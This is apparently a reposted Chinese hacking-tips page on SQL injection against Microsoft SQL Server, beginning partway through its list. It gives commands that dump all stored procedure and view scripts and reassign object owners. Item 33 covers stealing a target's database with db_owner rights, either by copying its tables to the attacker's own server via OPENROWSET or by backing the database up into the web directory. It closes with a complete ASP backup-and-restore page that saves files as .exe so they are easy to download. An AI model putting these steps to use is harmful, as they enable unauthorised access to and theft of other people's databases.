最全的SQL注入命令及方法-网络收集<br />
1。获得所有的存储过程的脚本:<br />
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4<br />
2。获得所有的视图的脚本:<br />
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2<br />
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1<br />
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2<br />
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3<br />
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4<br />
*/<br />
33、DB_OWNER权限下的数据库备份方法<br />
用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行<br />
insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你建立的表) select * from 对方的表?<br />
要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id>100<br />
这样来弄吧<br />
要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了<br />
如果是SA权限可以利用下面的两个ASP程序来备份数据库:<br />
sqlbackup1.asp<br />
<HTML><br />
<HEAD><br />
<TITLE>SQL Server 数据库的备份与恢复</TITLE><br />
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"><br />
</HEAD><br />
<BODY><br />
<form method="post" name=myform><br />
选择操作:<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备份</label> <br />
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label><br />
<br>数据库名:<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>"><br />
<br>文件路径:<INPUT TYPE="text" NAME="bak_file" value="c:\1.exe">(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)<br><br />
<input type="submit" value="确定"><br />
</form><br />
<%<br />
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act<br />
sqlserver = "localhost" 'sql服务器<br />
sqlname = "sa" '用户名<br />
sqlpassword = "数据库密码" '密码<br />
sqlLoginTimeout = 15 '登陆超时<br />
databasename = trim(request("databasename"))<br />
bak_file = trim(request("bak_file"))<br />
bak_file = replace(bak_file,"$1",databasename)<br />
act = lcase(request("act"))<br />
if databasename = "" then<br />
response.write "input database name"<br />
else<br />
if act = "backup" then<br />
Set srv=Server.createObject("SQLDMO.SQLServer")<br />
srv.LoginTimeout = sqlLoginTimeout<br />
srv.Connect sqlserver,sqlname, sqlpassword<br />
Set bak = Server.createObject("SQLDMO.Backup")<br />
bak.Database=databasename<br />
bak.Devices=Files<br />
bak.Files=bak_file<br />
bak.SQLBackup srv<br />
if err.number>0 then<br />
response.write err.number&"<font color=red><br>"<br />
response.write err.description&"</font>"<br />
end if<br />
Response.write "<font color=green>备份成功!</font>"<br />
elseif act = "restore" then<br />
'恢复时要在没有使用数据库时进行!<br />
Set srv=Server.createObject("SQLDMO.SQLServer")<br />
srv.LoginTimeout = sqlLoginTimeout<br />
srv.Connect sqlserver,sqlname, sqlpassword<br />
Set rest=Server.createObject("SQLDMO.Restore")<br />
rest.Action=0 ' full db restore<br />
rest.Database=databasename<br />
rest.Devices=Files<br />
rest.Files=bak_file<br />
rest.ReplaceDatabase=True 'Force restore over existing database<br />
if err.number>0 then<br />
response.write err.number&"<font color=red><br>"<br />
response.write err.description&"</font>"<br />
end if<br />
rest.SQLRestore srv<br />
Response.write "<font color=green>恢复成功!</font>"<br />
else<br />
Response.write "<font color=red>没有选择操作</font>"<br />
end if<br />
end if<br />
%><br />
</BODY><br />
</HTML>